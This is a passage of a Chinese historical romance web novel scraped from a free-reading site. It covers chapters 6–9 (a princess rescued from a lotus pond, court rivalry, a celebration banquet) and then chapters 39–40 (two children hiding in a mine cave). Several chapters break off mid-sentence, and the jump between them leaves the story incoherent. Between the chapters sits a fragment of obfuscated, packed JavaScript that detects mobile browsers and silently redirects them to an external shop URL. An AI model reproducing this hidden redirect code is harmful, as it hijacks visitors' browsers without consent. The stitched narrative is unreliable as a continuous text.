昙銮佛子讲经并没有指定的时日,据说占星算卦得出来个日子也从不对外公布,讲究一个随缘,而达官贵胄们自有灵通的消息渠道。 皇后娘娘萧华穗自昨日就已入了法华寺,带着灵安公主商幼晚只为昙銮佛子讲经而来。 商幼晚年幼听不懂这些‘应无所往,而生其心’的大道理,一心只想着去莲池边上逗鱼玩,念着好不容易出宫一次,皇后娘娘便也不拘着她,便差人领着她在院内转转。 岸头用鹅卵石块做出一整个斜坡,沾了水的石头表面光滑,稍不注意就可能摔上一跤,但此时正午,岸边的水分蒸发的差不多了,侍女们也就没限着商幼晚,只离她更近了点,便随她去玩了。 可能背阴又靠近岸边,这边莲花倒是少了些,莲叶大却也不满,水下总有鱼儿窜动的影子,勾得商幼晚往岸边又去了些。 说来也巧,小公主还未到岸边时,水面平静得犹如一面镜子,没有半点波澜。 一等她近了岸,水面却忽然涌出一群挣食的鱼儿,将商幼晚惊得欢喜连连。 “安雁,你们手中可有什么吃食?撒给这群鱼儿让它们饱食一餐罢。” “公主可离水远些,奴婢这里还有些糕点,派人去给您拿过来。”安雁说完,便打发留香去取些糕点来。 商幼晚听见身后池塘传来扑腾扑腾的声响,便不由转过身去,只见冒着鳞光的游鱼一条一条的跃出水面,阳光打在鱼鳞上折射出五彩的光,好看极了。 她情不自禁朝岸边又靠近了几步,却不想鱼翻越水面打湿了鹅卵石,脚下湿滑,一不留神直直摔进了水中。 “公主!” “来人啊,快来人救公主!” 岸上的侍女们急成一片,没有一个会水的,一个个急得团团转,有的眼泪都快出来了。 商幼晚扑腾了几下,便离岸边愈发远了,南岸与北岸之间搭了做廊桥连通两岸边,在桥上离小公主最近,桥上离水面至少三丈高。 安雁也急坏了,自己也不通水性这要跳下去可怎么救人,可小公主离莲花群也不不过两米了,若是入了莲花池,变不好找人了。 眼看小公主在水里快要没劲了,安雁抹了一把泪,将外罩的纱衫褪在了岸上,就准备跳下去营救小公主。 还未来得及行动,忽觉耳旁一道风声。 安雁愣了愣,一抬头,就见一道娇小的身影从桥上扑通落水,那身形灵活如游鱼一般,奋力朝着小公主游去。 商幼晚今日穿着一身新作的衣裙,宫中的绣娘染就出碧落这般漂亮的颜色,然后在衣襟,衣角及袖口处镶嵌上一群白珠,每隔五颗白珠,便秀上一颗铃铛,走起路来摇曳又清脆,她极为喜爱。 因坠着的东西太多,又比寻常衣裙重上许多,如今沾了水更像是要把她往湖底带去。 商幼晚在水里浮浮沉沉,连着喝了好几口那腥咸的池水,只是她到底体弱,没挣扎几下,便失去了大半意识,只是在彻底陷入黑暗之前,耳边隐约响起一道轻灵悦耳的嗓音,急切地大声叫着什么。 感觉到身子不再失重,她用尽浑身力气勾起嘴角,紧接着便陷入昏睡当中。 关月鸢这是头一次在水里救人,平日在草沟子里练得三脚猫游水功夫,这时便有些不堪大用了。尤其是商幼晚这一身衣裙,着实重了些,满身珠玉也勾到了她的身上,幸好这人晕了过去,若是再扑腾两下,她俩都得沉到这湖底里去。 关月鸢托起落水之人的手臂,一手放在她脖子下面将她的脑袋托出水面,这时安雁也唤人找到了一杆竹撑,将将伸到她的面前。 关月鸢用脚丫子打了好几下水,好不容易凑到了竹撑旁,连忙换出来一只手拽住,让岸上的众人将她俩拽了回去。 “小姐!” “公主!” 岸边一时间吵闹极了,两位金尊玉贵的小姐掉了下去,这还了得! 商幼晚一上岸就被安雁抱在了怀中,这时春妙也匆匆赶来,将身上的干衣裳披在关月鸢身上,急得双眼通红,“小姐!您可吓死奴婢了!” 宝珠落后了两步,红着一双眼睛的跪在关月鸢身前,滴滴答答的直哭,嘴里说不出一句完整的话。 哪怕是日头高,山间的风也带着丝丝微凉,关月鸢这时才感到一阵后怕,怕的不是去救人,而是知道自己要挨揍了!这时鼻尖泛起一阵痒意她忍了又忍,终是没忍住‘阿嚏’一声打了个喷嚏。 她心虚地抹了一下鼻子,却又按捺不住心里的得意,瞧宝珠哭的伤心便道:“这里的人都不会游水,只有我会!” 这话一出,宝珠破涕为笑,“小姐!您便是会游水,也不能亲自落水去救人啊!若是……若是……” 还没等她把话说完,身后便急匆匆赶来一大群人! 为首的那位,头挽着高髻,并无多余首饰,只钗着一根金凤,身批织金六幅罗长裙,一副雍容端庄的模样,此刻却也神不守舍,步子迈的极快。 等看到躺在岸上不省人事的商幼晚,她顿时双腿一软,若不是旁边有人掺扶了一把,就要倒在地上。 “晚儿!我的晚儿!” “等着作甚,还不赶紧照看公主。”鎏竹身为长御宫女之首,此时便拿出气势唤人来救治灵安公主。 一名身穿白色长袍的女宫疾步前来,先是摸了摸鼻息,又掰开双眼看了看,立刻向那贵妇人禀报,“娘娘,公主并无大碍,只是呛着了水。” 说着,她又从随身的包袱里掏出一排银针,长短粗细不一,挑出一根针首先刺入商幼晚的人中。 商幼晚咳嗽两声,睁开了眼睛虚弱的叫了一声娘,便又昏睡过去。 萧皇后眉头一松,不顾商幼晚周身泥泞,蹲坐在她身旁,扯着手轻柔道:“娘在,我儿没事便好。” 瞧见皇后如此动作,众人呼呼啦啦跪了一地。 皇后唤鎏竹将灵安公主带了下去,这才回过头看向跪在地上的安雁。 “娘娘,奴婢死罪!” 既然公主没事,萧皇后也不是那弑杀之人,“发生了何事?公主为何落水?留香在哪,为何不守在公主身边。” 宫中多的是这种腌脏事,皇后便从小培养几名丫鬟专门 7. 第 7 章 《青梅手札》全本免费阅读 萧皇后却没放在心上,她摸了摸关月鸢湿漉漉的小脑袋,笑着点头,“好,姨姨护着你。” 听闻皇后的自称,元娉婷心中一紧,连忙就要行礼,却被萧皇后亲热地拉住手,“这孩子秀外慧中,勇气无双,我看着甚是喜爱,如今还成了晚儿的救命恩人,看来两个孩子都是佛祖庇佑的灵善之人啊。” 救命恩人? 元娉婷心有疑惑,却没在皇后娘娘面前多问。 她们匆匆赶来,只是听闻这边出了大事,而鸢儿却正巧一个人在外面,两人心里不安,便想着过来瞧瞧,到底发生了什么还没来得及知晓。 皇后并未多留,可能是还担心这灵安公主的身子,便嘱咐了元娉婷一声,又给关月鸢留下了一名女医匆匆离去了。 寻了间最近的厢房,关月鸢将湿漉漉的衣服换下来,又被女医号了脉。 这时候,参茶也煎好了,春妙还未拿到跟前,关月鸢就直往被子里躲。 宝珠这时连忙凑上前,按住关月鸢,两人硬是逼着她喝下了整整一碗参茶。 元娉婷两人这才从旁人口中得知了真相。 “你这孩子!”李秀娘如今是又惊又怕,坐在一旁直抹眼泪,“真真是让人不省心!” 关月鸢满嘴参味,央求着春妙给块杏干,听见李秀娘的话,悄悄吐了吐舌头,也不讨要杏干了,规规矩矩原地坐着,一声不敢多吭。 半晌,还是元娉婷笑着松了一口气,“原是以为鸢儿闯了祸的,却没想到竟是救了小公主一命,这真是为咱们关家积了大德呢!” 关月鸢一听,眼睛立刻溢满了笑,弯成好看的小月牙儿。 李秀娘瞥了她一眼,便气不打一处来,“这孩子自小便是这般生龙活虎,天不怕地不怕的,我真是怕极了她哪日给家里惹出祸端。” “这倒无妨,鸢儿这般聪慧,日后自会知晓什么该做什么不该做,话说回来,就算万一惹了事,有老爷在,倒也轮不到你我去操心。” 夫人说的对,如今已不是她独自一人拉扯大囡的苦日子了。 李秀娘眉间的忧色这才淡了几分。 因着这事,讲经也进行不下去了,佛子还亲自送给灵安公主和关月鸢两枚莲子,以求平安。 瞧着手心上黢黑干瘪的一枚莲子,关月鸢双眼闪烁着惊奇,“这便是那一万金?” 听闻此言,李秀娘恨不得一个暴栗敲到她脑袋上,不禁心想这便是她养出来的小财迷? 让春妙缴了莲子,擦干了头发,元娉婷拉着关月鸢进了一间佛家大殿。 大殿中央供奉了一尊三面六臂的菩萨,朝向三个方向,每面方向都供奉着一尊香炉与蒲团。 正对着殿门的那面墙供奉着三排牌位,一排也只有三个。 元娉婷领着关月鸢走去右手边的牌位,指着最高一层对关月鸢柔声道:“这便是鸢儿的亲娘了。” 关月鸢抬头去看,那是一面漆黑的木牌,上面用金漆了一层字,关月鸢认不太清,牌位前放着一盏莲花长明灯,像是琉璃作花瓣,中间衬着灯油,每日会有人专门填油,生生不息的亮着。 一大一小的两个人跪坐在蒲团上,元娉婷缓和了下来,用袖子轻轻擦去了眼角的泪水,对着牌位说道,“阿姐,妹妹带鸢儿来看你了,你放心,我定会将她抚养长大,日后嫁个好人家,享一生富贵。” 没说两句,元娉婷又想起从前同阿姐斗嘴的时光,眼泪又要流出来。 关月鸢一看,连忙伸出小手,拍了拍元娉婷的后背安慰,“娘亲别哭,鸢儿以后会乖乖听话的。” 时间不早了,关月鸢对着牌位叩了三个头结束了这场祭拜。 太阳西垂,她们踏上了回家的路程。 到了家里,不出所料,关月鸢着凉了。 “阿嚏!”关月鸢被严严实实的捂在被窝里,额上敷着一条巾帕,小脸蛋热得通红,整个人昏昏欲睡着。 她只知道阿娘整日守在她身边,给她擦汗喂水,就连将军爹爹那个大嗓门,来看她的时候都努力压低音量,直逼得太医连连保证才作罢。 就这么躺了两日,烧才终于退了。 病了两天,嘴里净是些药的苦味。好不容易退了烧,关月鸢恢复得极快,饭也吃了两大碗才被李秀娘允许下床,她哪里被困过这么长的日子,一下床就欢快地跑去院子里,寻了金珠一同玩闹。 这时,院门外传来一阵大呼小叫的吵闹声。 “快!快拦住大少爷!” “这回让两个人押着,大少爷好不容易回一趟家,可不能被他跑了!” “……” “放开我,放开我!你们人多欺负人少,算得什么本事!” 听这动静,金珠便忍不住笑了一声道:“小姐,估计是大少爷回来了,只要他一回来,家里就特别热闹!” 关月鸢心里好奇,跑去扒开院门一瞧,只见一个胖墩墩的小少年,此时正被两名小厮合伙架起往这边走。 他一路上不停地挣扎,整个人犹如一只待宰的鸡,张牙舞爪好不热闹! “小姐!”叶伯不知从哪儿钻出来,乐呵呵冲着关月鸢道:“夫人说了,大少爷今日沐休,让您见上一见,这不他一回来便立刻给您带过来了。” 关溧阳闻言停止了挣扎,抬眼一瞥,金灿灿的烈日透过斑驳的树荫,洒落在女孩身上,像是一朵夏日盛开的鲜花,透着一股子生机盎然的气息。 一瞧见她,关溧阳立马像是被人掐住了脖子一般,嘴上的叫嚣便不由自主咽了回去。 “你……”他结巴了一下,猛地意识到自己的处境,才重新嚣张起来,“小爷管你是谁,一副弱不禁风的模样,我一拳就能打得你哭爹喊娘!” 叶伯忙抹了一把额上冷汗,冲着关月鸢赔笑,“小姐不必介意少爷的话,少爷这……臆语症有些日子了,今个只是带来让您见一面,认认亲。” 说着,扭头一挥手便要将人押走。 关月鸢歪着脑袋,瞧着这稀奇的一幕,不由脆生生问:“你便是我弟弟?” 关溧阳抢在叶伯之前呛嘴,“我可没认你这个姐姐!” 关月鸢却没接他的话茬,继续问道:“你会爬树吗?” 爬树? 关溧阳的小胖脸浮现出一丝不解,呆呆地摇了摇头。 “那可会吟诗?” 关溧阳头摇得像个拨浪鼓。 关月鸢有 8. 第 8 章 《青梅手札》全本免费阅读 闻绍和从书柜的最上层取下一个雕花鎏金的锦盒,放在了书房的桌子上,细细用绢布擦拭着盒子表面,然后在笔架前点燃了一支松沉香,才缓缓打开盒子,露出里面的澄泥砚。 砚的颜色橙黄,最外层带着红色圈层,质地细腻,发墨而不损毫,乃是上上品。 原本闻绍和是要将它作为传家之宝的,奈何……皇上前几日又赏了他一块贡墨。 哎呦,老夫可真是皇上眼前的大红人。 闻绍和笑的胡子乱颤,但丝毫没影响他的动作。 要用这般珍贵的墨,定然需要沐浴焚香的。 他稳稳坐在太师椅上,待心灵诚静,拿起那贡墨用左角开始研墨,这般研了十圈,就把他心疼坏了。 从笔架上选出一只软硬适中的狼毫,轻沾取墨水直至均匀,提笔刚要下字。 突然,书房门被人一把推开,夹杂着李管家的急匆匆的喊叫,“不好了,老爷!” 这一声,吓得闻绍和一个哆嗦,眼睁睁看着自己那上好的宣纸滴上了一滴墨。 闻绍和心疼的眉头直抽,耐住性子问:“发生何事?” 李管家急得走上前,见老爷正在写字,就那么一点墨水,怎么够用。 可怜见的,都没人给老爷研墨,这些人都是吃干饭的吗,还得是我,老爷要没有我可怎么办! 这样想着,便拿起放在砚边的墨碇使劲的磨了起来,同时嘴里还说:“老爷,还不是关绩那个莽人,据说皇上派人去了将军府,说要封他女儿作郡主呢!” “什么!” “忒的那厮运气好,在法光寺救下了灵安公主!那姓关的一向得了势就猖狂,今日便大肆发帖,说是要在府里宴客五日,竟是比咱家还要多上两日!” 闻绍和气得胡子翘起,心里自是不服气,他家大闺女若不是因为身子差,何故被那莽人压了一头! 只是他乃当朝丞相,这肚里撑船的气度,是那莽人如何也比不上的! 便又冷静下来问:“大小姐身子如何了?” “回老爷,大小姐身子已经好的差不多了,今日交上去的赋论,便是连夫子都赞叹不已呢。” 闻绍和这才满意得捋了捋胡须,“一会儿拿来我看看。” “大小姐学识过人,虽在外多年,可到底还是同老爷像一些,若是好好培养,未来这京城第一才女的名号,必非小姐莫属啊!” 闻绍和被这番话说得心花怒放,不觉长笑,“我儿自是才华出众,莫急莫急,韵儿的福气还在后头。” 待他笑完,一低头,却差点昏死过去。 那墨碇竟是不知不觉被磨去了三分之一! * 奉天殿外,李同光正在殿外守门。 过了半晌,却隐约听见屋里传来书物落地的声响。 他心里一急,匆忙推开门闪身进去,只见奏折被扔了一地! 李同光却也知晓,宣帝在为何事而烦恼。 自世秽之乱后,百废待兴,从下面提拔了一群官员上来,却不做实事,西边夏旱隐瞒不报,足足饿死了百人。 “李同光,把他们全都拉出去给朕斩了!” “好好好,奴这便传圣上口谕,就是这关大将军要不要也一起斩了?”李同光捡起最上面的奏折,上面歪七扭八的写着两个字:关绩。 商鸿乾却是气不打一处来,兀自愤愤道:“你瞧他那狗爬的字,朕辨了半天才看清!说什么朕赐了一块贡墨给丞相,他却也要!” “他要那贡墨干甚!吃吗?” “圣上莫急,关将军和闻丞相向来如此,何故生这么大气。”李同光说着重新添了杯茶,搁在桌上。 看着蒸腾上旋的热气,商鸿乾沉思良久开口,“李同光,去把那幅画拿出来。” “喏。”李同光心中了然,转身从书架的暗箱中取出一幅边角泛黄的画卷,徐徐展开在案几上。 白云从皑皑雪山中飘出,摇摇曳曳的浮在空中,一只雄鹰展翅直插入云层之中,只留下一抹尾羽,木屋青烟,小溪流水。 画的左下角上书着一行字,“白云升远岫,摇曳入晴空。乘化随舒卷,无心任始终。” 署名:薛今安。 商鸿乾摩挲着‘今安’二字。 李同光却不敢再看。 薛今安,前朝遗孤,后封摄政王,在金元起义,锁当今圣上入深庭,屠百世家,众人皆称此为世秽之乱。 李同光作为追随皇上二十余年的老人,每每想起,都觉得肝胆俱寒。 大梁王朝统治了一百八十年后,被蒙族入侵夺皇权。 蒙族入主中原,将人分为三六九等,蒙人为高等,汉人士族为次等,余人为奴。 不同阶级不得通婚,不得买卖,蒙人对其余人等有自行处决权。 在这种高危政策下,不过短短二十年,世家大族联合推举大梁后裔,以反蒙兴梁为口号,殊死抵抗。 全国皆行起义,将蒙族赶至靖北,国内形势大好,百家士族便推举先皇登位,改国号为元武,众人称为新梁,意味新生。 元武五年,皇上薨世。 宣帝商鸿乾继位,而他颁布的第一条圣旨,便是封结拜兄弟薛今安为摄政王,享见皇不拜,可佩剑入宫。 当时士族专政,买卖官权,甚至连盐矿都掌握在士族手里。 举朝上下,五品之上,不见布衣,科举同样舞弊盛行,新朝几乎断绝了读书人的出路。 几年后蒙人入侵,商鸿乾命摄政王携二十万大军远征靖北,而那时关绩还只是一位小将,闻绍和也只作为门客随军远征。 边关苦寒,整整打了五年,蒙军大败。 摄政王领兵两万班师回京,百姓们摘花欢呼,拥着薛家军入了皇城。 哪知,摄政王却直接封兵皇城,囚禁圣上,屠遍世家九族,整整一个月,皇城八大出水口日夜流出鲜红液体,繁盛的皇城如死城一般。 两月后,先皇弟弟裕亲王揭竿而起,聚集十万人,围堵在皇城之下。 两军交战一月,薛家军仅剩数十人,而对面却还有千数人! 裕亲王欲劝降摄政王无果,下令放箭,摄政王身中数箭,战死。 裕亲王穿龙袍,带玉冠,登皇位时才发现,商鸿乾被囚禁在东宫,已是极度虚弱。 皇位近在眼前,裕亲王便下了杀心,准备手刃亲侄。 却被赶来护驾的关绩一箭穿心! 自此,商鸿乾才坐稳了皇位,改年号为奉平。 “今安,朕定会成为一代明君,叫你看看。” 李同光这时也将奏折收拾妥帖,按照顺序放在了桌角。 他是经历过腥风血雨的老人,犹记得当年的摄政王是多么夺人心魄,姿容无双。 可惜,世人皆骂摄政王,不知神佛在心中。 李同光叹了一声,想着唤御膳房给皇上做点提神醒脑的汤食,便躬着身,默默退了出去。 还未出门,就听里面传来。 “李同光,去将朕的那把大挽弓给将军府送去,再挑些一并送去给宜 9. 第 9 章 《青梅手札》全本免费阅读 关绩这厢在大门口与百姓们聊得正欢,却不想李同光竟低调地踏进了院门。 今日虽带着圣上口谕,李同光却穿着一身便衣,想着不要扰了关大将军私宴宾客兴致,朝关绩拱了拱手算作招呼。 关绩却是两眼一亮,大步迈了上来,伸手搂住李同光肩膀就往府里带,“哈哈哈,李公公大驾光临,本将军可要把珍藏的叶儿清拿出来好好招待招待!” 李同光忙笑着推辞,“将军,喝酒的事先缓缓,咋家这次可是带着圣上口谕来的。” “哦?何事劳公公亲自跑一趟?” 李同光先是朝皇城的方向拱了拱手,这才道:“圣上体恤将军操劳,感谢将军大义,特命奴才给将军送来珍藏的大宛弓,以展将军威风!” 关绩哈哈一笑,扭头往四处一打量,又将李同光拽近了些,往他手里塞了几块赏银,“公公不如受累,重新当着众人再宣一次口谕如何?” “好说。”关大将军向来豪爽,李同光刚进门便瞧见了几位大人,往常同丞相关系好些,便知晓了将军的意思,痛快的答应了。 见李同光答应的爽快,关绩心中一喜,忙唤来叶伯吩咐了一番。 众人吃酒吃的尽兴,就听有人吆喝了一声,“快看!” 李同光平民百姓自不认识,可今日来往官员也极其的多,李同光,圣上近侍,谁人不知,谁人不晓! 关绩选了个好位置,在外院的门廊上,周围皆是同僚,众人纷纷长大耳朵听。 见观众就位,关绩率先开口,“公公,此来有何要事?” “关将军,皇后特命奴才来给宜兴郡主送些赏赐。”李同光说着,停顿了两秒,才接着道:“皇上也念着将军思念爱女多年,特赐大宛弓一张,已犒将军爱女之心!” “谢主隆恩。”关绩说着就要跪下领赏,被李同光一把扶住。 “今日就不必如此了,圣上说了,不得扰将军大宴宾客的兴致,咋家只是传个口谕罢了。” 送走李同光,关绩听到叶伯汇报,那姓闻的今晚就能得到消息,人还没回府,便杵在大门畅快的大笑起来。 这时一处拐角,有辆造型精致的马车缓缓停了下来。 马车打头是一个白衣墨发的少年,骑着一匹通体黝黑的俊马,大约十二三岁的年纪,脊背挺得笔直,五官隐没在街角暗处,隐隐勾勒出一抹淡冷的下颌弧线。 “薛哥哥,咱们到了吗?”车内传出一道软软的嗓音,好奇问道。 薛岫白抿着嘴,漆冷的眸光落在将军府门前,只见铁塔一般魁梧的身影正两手叉腰,嚣张地仰天大笑着。 他虽没听清楚,可那笑声却震天的响,让他脑袋久违的开始有些痛了。 “薛哥哥?”见车外没响动,商幼晚顿时慌了,匆忙掀开门帘探出头来,看见他的身影才松了一口气。 她还以为薛哥哥又似儿时那般,偷偷丢下她跑掉了。 “走罢。”少年沉沉叹了一口气,翻身从马儿身上跃了下来,白衣衣摆轻盈,被风吹了起来。 将缰绳递给小厮后,步履带些沉重的步行向前。 留香将马车帘子挂在了角钩上,扶着商幼晚下了马车。 此时,薛岫白已经走出去一截了。 只是不知为何,不过是参加一场宴会,商幼晚却觉得他的背影竟有几分悲壮? 正疑惑间,便听见一个大嗓门冲着他们叫道:“长陵?哇哈哈哈,老夫今日高兴正愁没人能痛饮两杯,来得好哇!” 薛岫白身形微颤了一下,很快用冷澈的嗓音回道:“关叔叔,长陵年纪尚幼,还不能……” 话还没说完,关绩已经大步迎上来,熟练地提溜起少年的后衣领,看起来竟是毫不费力。 “正好!前些日子听说你小子已到了舞勺之年,今日便是双喜临门,老夫定要与你不醉不归!哈哈哈……” 平日骄傲无比的少年,如今被人拎在手里,看起来有些狼狈,便干脆放弃了挣扎。 商幼晚已经看得呆住了,等她反应过来,眼前只剩下了两人绝尘而去的背影。 元娉婷接到下人的通报,才匆匆赶了过来,亲自将商幼晚迎进府里。 元娉婷在内院招待官宦人家的内室,正是将关月鸢介绍给众人的时候。 这时得知灵安公主同宁远侯府小侯爷前来拜贺,只是半道上小侯爷就被自家不靠谱的夫君‘劫’走了,面对商幼晚时表情便有几分不自然,“让公主见笑了,我家那夫君性子一向这般……直爽,没吓到公主吧?” 商幼晚轻轻摇了摇头,弯了弯嘴角,还未张嘴就已经走到了内院。 内院里的宴席并不多,只有两桌,但架不住人都沾着尊,什么刚刚成婚不过一个月的广宁侯府小夫人,御史大夫的夫人,八门提督的三品诰命夫人,甚至还有从未出现在人前的大理寺少卿的母亲。 一般宴席都会提前一月将帖子送到个人府上,这种临时的宴席还能聚集这些人,也能看出将军府的影响力,以及当家主母涉营的交际圈了。 因着众人之前吃了些茶点,元娉婷便做主延迟了开宴,本就是家宴,也没有许多的讲究,正巧碰上商幼晚前来,这才唤人开宴。 众人纷纷向公主见礼,最后才轮到一位光彩明媚的小姑娘。 小姑娘穿着粉红色的裙裳,裙摆处用七彩绣线描了一圈花,脖颈上坠着枚平安扣,学着大人的样子,两手展开举手放在胸前,张口便直接来了一句,“姐姐万安!” 商幼晚脸红彤彤的,有些羞涩。 她……她还从未被人如此直白的夸赞过,“宜兴郡主万安。” 商幼晚从前最是怕生的,如今特意求了父皇主动跑来,本只是想当面道个谢。可一路行到这里,她却觉得这将军府虽不大,却比皇宫要热闹的紧,心底的忐忑和不安也渐渐散去了许多。 等她回完话,关月鸢便自来熟地上前,用两手握住她的手,笑容直白又热情,“姐姐唤我鸢儿就好!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872495|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “田大为啥子要俺俩来寻人?说是刚刚听见了响动?” “俺咋啥都没听见,田大定是被外乡人搞得昏了头,光想着压虎头一头。” 因着刚刚就在这没发现旁人,这俩人说着话往山下的路去了。 关月鸢手心细细的出了一层汗,她害怕极了,握住薛岫白的小手也在隐隐颤抖,只是她默默在心里给自己打气不要怕,如今终于到了发挥她的作用的时候了,眼下的当务之急,就是带长陵隐藏起来,然后等桉树找过来! 见那二人朝山下去了,关月鸢只敢与他们走些相反的方向,她本想将薛岫白的手臂搭在肩膀上,突然发现手中还拿着在悬崖边捡到的石块。 她来不及细看,随手将石块塞在了薛岫白衣服的夹缝中,想找个能避身的地方。 可能是矿洞长时间的打造,没走出两步路,她竟找到了个不大的矿洞,洞外被植被覆盖,像是被弃用了许久,若不是关月鸢差点被绊了一跤,也发现不了这里。 可她身上拖了一个半大的少年,饶是关月鸢力气比同龄人要大些,也是废了一炷香的时间,才堪堪将他安顿下来。 跪坐在少年身边,她愣了半晌,才想起来伸出食指,颤巍巍探了探他的鼻息…… 有气! 关月鸢提起来的心这才重重落下,可她却不知该如何唤醒他! 在一旁干着急了半天,听见外头有小溪流过的声音,关月鸢这才醒悟过来,她还可以帮长陵擦干净身子呀!她才不是一点用也没有! 想到便做,关月鸢立刻从怀中掏出随身手帕,跑去溪边将帕子打湿,又用小手掬了一捧清水回来,先洒在薛岫白的脸和脖子上,又用帕子一点点细细擦了好几遍,才将那白皙的肤色露了出来。 一番折腾后,外面天色已经彻底黑了下来,月光穿过树影,打在洞口,配着静谧的山林间,偶尔野兽的吼叫,令关月鸢心里没底极了。 小时候阿娘总与她说,不能在天黑后往山里跑,不然山洞里就会钻出熊瞎子把人吃掉! 越想,关月鸢越发忐忑,这下连坐在薛岫白身边都没了安全感,她想了想,干脆学着小时候阿娘在她睡不着的时候,哄她睡觉那样,将他的脑袋抱在腿上,小手搭在他太阳穴上,轻柔地画着圈。 她不敢睡着,可是又累极了,仿佛借着这个动作,就能帮她保持清醒,不至于一脑袋昏睡过去。 她今晚一定要好好守护长陵,直到他醒来! …… 薛岫白从一片混沌的意识中清醒过来,只觉得自己浑身上下都充斥着干涩的冷意。 这里……是哪里? 他记得……自己看见了一个人,经历了一场爆炸……爆炸! 薛岫白蓦地睁开双眼,眼前是一片伸手不见五指的黑暗! 几乎就在他浑身战栗的下一刻,他眼角忽然感觉到一股温热的触碰,那是软软的,带着几分痒意,一下一下在他太阳穴上画着圆圈。 闻着鼻端熟悉的味道,这诡不可测的黑暗,似乎并不可怕了。 40. 第 40 章 “长陵,你醒了?有哪里疼吗?”关月鸢见薛岫白睁眼,连忙凑上去问。 薛岫白只觉得脑后疼痛,他尝试着动了动手脚只觉的酸麻难忍,可就这种疼痛的感觉才让薛岫白逃离那永无边际的噩梦。 “无……”事,嗓子干涩,突然出声倒是被呛的咳了两声,“咳,咳。” 面目俊朗的少年哪怕此时带着些病态,依旧丰神俊朗,就是那唇色浅淡干裂,他努力的想止住,可嗓间的痒意怎么也停不了。 关月鸢连忙将手边的碗拿起来,没成想用树叶扎的碗只能浅浅的用上一次,便破裂了,碗中的清水撒了一地。 想也不想的起身往外跑,她要去给长陵取些水回来。 薛岫白见关月鸢起身往外跑,心底突然一阵孤寂,他抬手想要抓住关月鸢,可还是慢了一步。 无力的掉了回去,脑子里全是这几日刻意被他遗忘的往事。 他好像从来就不似他弟弟一般能得到父母的喜爱,后来知晓了原因,原来不是亲生的阿,那这些年为了融入宁远侯府,为了讨得侯夫人的喜爱,他处处忍让,如今才发现,这一切不过是个笑话,他就是个没脑子的蠢人。 谁都不愿和他在一起,就像在梦中一样,哪怕是死在这里,怕也没有人会真正在意吧。 分辨不出到底是爆炸导致的后脑疼,还是这线乱繁复的家事惹得他头疼无比。 没过一会儿,听见头顶有声音,薛岫白借着月光看去,竟然是关月鸢去而复返,手中还捧着一汪盛在碗中的溪水。 关月鸢跌跌撞撞的跑来,她重新摘了树叶叠成碗装,为了防止水漏出去,还细心的叠了两层,见薛岫白望着她,她连忙说,“长陵,我给你取水来了。” 少女莽撞水润的眸子里全是担心,倒是比他家人要真心实意多了。 谢过后,他喝干净了水,关月鸢见状转身就要出去再打一碗,却被薛岫白拉住。 “不用了,外面危险。”外面要追他们的人很多,再放关月鸢出去,他有些担心。 见薛岫白喝了水后,果真神色恢复了许多,关月鸢顺势坐在了地上,“长陵,我爹爹被抓紧刑部大牢了,小梅也找到了,咱们快快回去吧,娘亲会担心的。” 什么? 圣上会将关将军送入大牢? 薛岫白连忙坐起身子,这边他大概也有了些头绪,矿洞已灰飞烟灭,当务之急是赶紧赶回去,让太子派人来清扫这里,还有那先会村,根据影一暗中查到的线索,那仙会村众人恐怕不是什么好来头。 想到这里,他抬手摸到关月鸢头上揉了一把,安慰道:“你放心,圣上英明,将军不会有事的。” 说罢从怀中掏出一截竹笛,同时还掉出一块儿石头。 关月鸢眼睛一亮,她将石头捡起来塞到薛岫白手里。 入手莹润,内里绿色满花,是个上等的翡翠玉石,大小形状都很眼熟。 薛岫白将竹笛拿起,通体晶润透白,不过小指粗细,放在嘴边吹了一声。 声音续长,传了好远。 这才回过神来掂量手中的玉石块儿。 “我在找到长陵的地方发现的,觉得眼熟就拿回来。不知有没有用。” “有用的。”薛岫白这才想起都来哪里眼熟,再平乐村的旧祠堂,也发现了一块这般的玉石,就是不知这两块儿是否源是一块儿。 只能等桉树找来,将两块拼到一起,才能分辨。 关月鸢照顾了薛岫白一晚,跑进跑出的为他擦洗,又担惊受怕了整日,此时一放松,整个人就困顿了下来。 等桉树找来,就见少女睡在一旁,身上披了件衣裳,而自家的主子坐在一旁,时不时的招手为少女驱赶着蚊虫。 “主子。”桉树跪在地上叩了个头,他心中惶恐,昨夜未曾找见主子身影,而等他返回也不见郡主的一点影子,他生怕郡主被掩埋在矿洞里,正着急,就见鹰隼拽着他的袖子往外拉。 一路跟着,就见到了薛岫白。 他照看不力,应该遭受处罚。 薛岫白对他摆了摆手让他起身,回头看了一眼睡梦中的关月鸢,同桉树走到了洞外,生怕吵到少女的梦。 桉树又要下跪,被薛岫白制止了,“桉树,这两日形势如何?” 桉树简略的说了一下京城的形势,比关月鸢的消息要更加细致,关绩虽然入狱,但仍未被提审,平乐村屠村的事情被爆了出来,众多百姓纷纷堵在御史台门口。 还有那仙会村,桉树曾进村去打探,不似农村,倒像是训练有度,外村住民户内里是全村的妇女幼孺,内里全是精兵,有专门训练的场地,还会安排人围绕村子巡逻,每一个时辰一次,就连夜晚也是如此。 听到这,薛岫白就明白了个大概,许多前流窜于南边的一群流兵,在龙虎山上扎寨称龙虎寨,杀人放火抢劫银财,让过路的商贩终日担忧,三年前是关绩回京叙职见状攻打下来,龙虎寨全灭。 没想到,竟然藏在了这深山老林里,还祸害了一村的人。 还敢涉嫌铁矿,隐瞒不报,将浑水净泼在关将军身上,那幕后之人真是下了一手好棋。 “主子,这里不能再待了,奴从山下来,那些蛮横之人正在一寸一寸的巡山。想来,再过不久,就会寻到这儿了。” 薛岫白低着头沉思片刻后开口,“那日,平乐村寻到的物件儿在哪?” 桉树更惶恐了,“放在土坛城租的院中了,后来着急就没来得及拿回来。” 薛岫白应了一声,开口唤,“影一。” 片刻后,只有清风徐过,薛岫白又喊了一声,“影一!” 仍不见人影,薛岫白气血上涌,本就受伤的后脑此时钝痛起来,眼前一黑站立不稳。 